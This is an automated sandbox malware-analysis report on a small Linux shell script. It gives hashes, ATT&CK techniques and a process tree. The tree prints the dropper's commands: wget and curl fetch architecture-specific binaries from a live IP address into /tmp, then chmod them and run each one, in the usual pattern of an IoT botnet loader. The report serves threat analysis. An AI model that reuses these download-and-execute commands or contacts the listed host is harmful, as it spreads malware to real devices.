5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a

Analysis

max time kernel
64s
max time network
66s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
09/07/2026, 17:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
_5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh
Size 402B
Sample260709-wjer1se17q
SHA256 5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a
MD5 7e191799f2483510e894d8e0d30915cf
SHA1 43b4451a70caf878cac45d117e64636e59273e32
SHA512 81e9fea749ef14ddaf9fcd3c0db1f79f26ad407818929fd8dc12f0df64e2fbfbaad71e24192c23c62a2a6c05fb0ed28bd3b768db1b74ccaf4f43050d979b363f
TLSH
T10EE02BE6A8924072DC8848DB55BBC98F114010231810355C703F693867DD5D5A975FFA
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
807	chmod
811	chmod
766	chmod
778	chmod
782	chmod
795	chmod
815	chmod
821	chmod
678	chmod
757	chmod
770	chmod
774	chmod
786	chmod
802	chmod

Executes dropped EXE 14 IoCs

ioc	pid	Process
/tmp/arm	679	_5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh
/tmp/arm5	758	_5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh
/tmp/arm6	767	_5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh
/tmp/arm7	771	_5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh
/tmp/x86	775	_5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh
/tmp/x86_32	779	_5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh
/tmp/m68k	783	_5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh
/tmp/mips	787	_5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh
/tmp/mpsl	796	_5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh
/tmp/ppc	803	_5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh
/tmp/ppc440	808	_5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh
/tmp/sh4	812	_5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh
/tmp/sparc	816	_5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh
/tmp/x86_64	822	_5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh

Checks CPU configuration 1 TTPs 14 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
787	sh
784	wget
785	curl
787	mips

Writes file to tmp directory 25 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sparc	wget
File opened for modification	/tmp/arm6	curl
File opened for modification	/tmp/mips	wget
File opened for modification	/tmp/arm7	wget
File opened for modification	/tmp/arm7	curl
File opened for modification	/tmp/x86_32	wget
File opened for modification	/tmp/m68k	curl
File opened for modification	/tmp/mpsl	wget
File opened for modification	/tmp/ppc440	wget
File opened for modification	/tmp/sh4	curl
File opened for modification	/tmp/x86_64	curl
File opened for modification	/tmp/arm	wget
File opened for modification	/tmp/arm6	wget
File opened for modification	/tmp/x86	curl
File opened for modification	/tmp/x86_32	curl
File opened for modification	/tmp/ppc	wget
File opened for modification	/tmp/ppc440	curl
File opened for modification	/tmp/sparc	curl
File opened for modification	/tmp/x86_64	wget
File opened for modification	/tmp/arm	curl
File opened for modification	/tmp/arm5	wget
File opened for modification	/tmp/x86	wget
File opened for modification	/tmp/m68k	wget
File opened for modification	/tmp/mips	curl
File opened for modification	/tmp/sh4	wget

/tmp/_5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh
/tmp/_5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a.sh
1⤵
- Executes dropped EXE
PID:648
- /usr/bin/wget
  wget http://156.226.174.98/release/arm -O /tmp/arm
  2⤵
  - Writes file to tmp directory
  PID:650
- /usr/bin/curl
  curl -s -o /tmp/arm http://156.226.174.98/release/arm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:668
- /bin/chmod
  chmod +x /tmp/arm
  2⤵
  - File and Directory Permissions Modification
  PID:678
- /usr/bin/wget
  wget http://156.226.174.98/release/arm5 -O /tmp/arm5
  2⤵
  - Writes file to tmp directory
  PID:680
- /tmp/arm
  /tmp/arm aterna
  2⤵
  PID:679
- /bin/sh
  /bin/sh /tmp/arm aterna
  2⤵
  PID:679
- /usr/bin/curl
  curl -s -o /tmp/arm5 http://156.226.174.98/release/arm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:756
- /bin/chmod
  chmod +x /tmp/arm5
  2⤵
  - File and Directory Permissions Modification
  PID:757
- /usr/bin/wget
  wget http://156.226.174.98/release/arm6 -O /tmp/arm6
  2⤵
  - Writes file to tmp directory
  PID:759
- /tmp/arm5
  /tmp/arm5 aterna
  2⤵
  PID:758
- /bin/sh
  /bin/sh /tmp/arm5 aterna
  2⤵
  PID:758
- /usr/bin/curl
  curl -s -o /tmp/arm6 http://156.226.174.98/release/arm6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:765
- /bin/chmod
  chmod +x /tmp/arm6
  2⤵
  - File and Directory Permissions Modification
  PID:766
- /usr/bin/wget
  wget http://156.226.174.98/release/arm7 -O /tmp/arm7
  2⤵
  - Writes file to tmp directory
  PID:768
- /tmp/arm6
  /tmp/arm6 aterna
  2⤵
  PID:767
- /bin/sh
  /bin/sh /tmp/arm6 aterna
  2⤵
  PID:767
- /usr/bin/curl
  curl -s -o /tmp/arm7 http://156.226.174.98/release/arm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:769
- /bin/chmod
  chmod +x /tmp/arm7
  2⤵
  - File and Directory Permissions Modification
  PID:770
- /usr/bin/wget
  wget http://156.226.174.98/release/x86 -O /tmp/x86
  2⤵
  - Writes file to tmp directory
  PID:772
- /tmp/arm7
  /tmp/arm7 aterna
  2⤵
  PID:771
- /bin/sh
  /bin/sh /tmp/arm7 aterna
  2⤵
  PID:771
- /usr/bin/curl
  curl -s -o /tmp/x86 http://156.226.174.98/release/x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:773
- /bin/chmod
  chmod +x /tmp/x86
  2⤵
  - File and Directory Permissions Modification
  PID:774
- /usr/bin/wget
  wget http://156.226.174.98/release/x86_32 -O /tmp/x86_32
  2⤵
  - Writes file to tmp directory
  PID:776
- /tmp/x86
  /tmp/x86 aterna
  2⤵
  PID:775
- /bin/sh
  /bin/sh /tmp/x86 aterna
  2⤵
  PID:775
- /usr/bin/curl
  curl -s -o /tmp/x86_32 http://156.226.174.98/release/x86_32
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:777
- /bin/chmod
  chmod +x /tmp/x86_32
  2⤵
  - File and Directory Permissions Modification
  PID:778
- /usr/bin/wget
  wget http://156.226.174.98/release/m68k -O /tmp/m68k
  2⤵
  - Writes file to tmp directory
  PID:780
- /tmp/x86_32
  /tmp/x86_32 aterna
  2⤵
  PID:779
- /bin/sh
  /bin/sh /tmp/x86_32 aterna
  2⤵
  PID:779
- /usr/bin/curl
  curl -s -o /tmp/m68k http://156.226.174.98/release/m68k
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:781
- /bin/chmod
  chmod +x /tmp/m68k
  2⤵
  - File and Directory Permissions Modification
  PID:782
- /usr/bin/wget
  wget http://156.226.174.98/release/mips -O /tmp/mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:784
- /tmp/m68k
  /tmp/m68k aterna
  2⤵
  PID:783
- /bin/sh
  /bin/sh /tmp/m68k aterna
  2⤵
  PID:783
- /usr/bin/curl
  curl -s -o /tmp/mips http://156.226.174.98/release/mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:785
- /bin/chmod
  chmod +x /tmp/mips
  2⤵
  - File and Directory Permissions Modification
  PID:786
- /usr/bin/wget
  wget http://156.226.174.98/release/mpsl -O /tmp/mpsl
  2⤵
  - Writes file to tmp directory
  PID:788
- /tmp/mips
  /tmp/mips aterna
  2⤵
  - System Network Configuration Discovery
  PID:787
- /bin/sh
  /bin/sh /tmp/mips aterna
  2⤵
  - System Network Configuration Discovery
  PID:787
- /usr/bin/curl
  curl -s -o /tmp/mpsl http://156.226.174.98/release/mpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:794
- /bin/chmod
  chmod +x /tmp/mpsl
  2⤵
  - File and Directory Permissions Modification
  PID:795
- /usr/bin/wget
  wget http://156.226.174.98/release/ppc -O /tmp/ppc
  2⤵
  - Writes file to tmp directory
  PID:797
- /tmp/mpsl
  /tmp/mpsl aterna
  2⤵
  PID:796
- /bin/sh
  /bin/sh /tmp/mpsl aterna
  2⤵
  PID:796
- /usr/bin/curl
  curl -s -o /tmp/ppc http://156.226.174.98/release/ppc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:799
- /bin/chmod
  chmod +x /tmp/ppc
  2⤵
  - File and Directory Permissions Modification
  PID:802
- /usr/bin/wget
  wget http://156.226.174.98/release/ppc440 -O /tmp/ppc440
  2⤵
  - Writes file to tmp directory
  PID:804
- /tmp/ppc
  /tmp/ppc aterna
  2⤵
  PID:803
- /bin/sh
  /bin/sh /tmp/ppc aterna
  2⤵
  PID:803
- /usr/bin/curl
  curl -s -o /tmp/ppc440 http://156.226.174.98/release/ppc440
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:806
- /bin/chmod
  chmod +x /tmp/ppc440
  2⤵
  - File and Directory Permissions Modification
  PID:807
- /usr/bin/wget
  wget http://156.226.174.98/release/sh4 -O /tmp/sh4
  2⤵
  - Writes file to tmp directory
  PID:809
- /tmp/ppc440
  /tmp/ppc440 aterna
  2⤵
  PID:808
- /bin/sh
  /bin/sh /tmp/ppc440 aterna
  2⤵
  PID:808
- /usr/bin/curl
  curl -s -o /tmp/sh4 http://156.226.174.98/release/sh4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:810
- /bin/chmod
  chmod +x /tmp/sh4
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /usr/bin/wget
  wget http://156.226.174.98/release/sparc -O /tmp/sparc
  2⤵
  - Writes file to tmp directory
  PID:813
- /tmp/sh4
  /tmp/sh4 aterna
  2⤵
  PID:812
- /bin/sh
  /bin/sh /tmp/sh4 aterna
  2⤵
  PID:812
- /usr/bin/curl
  curl -s -o /tmp/sparc http://156.226.174.98/release/sparc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:814
- /bin/chmod
  chmod +x /tmp/sparc
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /usr/bin/wget
  wget http://156.226.174.98/release/x86_64 -O /tmp/x86_64
  2⤵
  - Writes file to tmp directory
  PID:817
- /tmp/sparc
  /tmp/sparc aterna
  2⤵
  PID:816
- /bin/sh
  /bin/sh /tmp/sparc aterna
  2⤵
  PID:816
- /usr/bin/curl
  curl -s -o /tmp/x86_64 http://156.226.174.98/release/x86_64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:820
- /bin/chmod
  chmod +x /tmp/x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:821
- /bin/rm
  rm -f /tmp/bins.sh
  2⤵
  PID:823
- /tmp/x86_64
  /tmp/x86_64 aterna
  2⤵
  PID:822
- /bin/sh
  /bin/sh /tmp/x86_64 aterna
  2⤵
  PID:822

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

arm

Path /tmp/arm
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads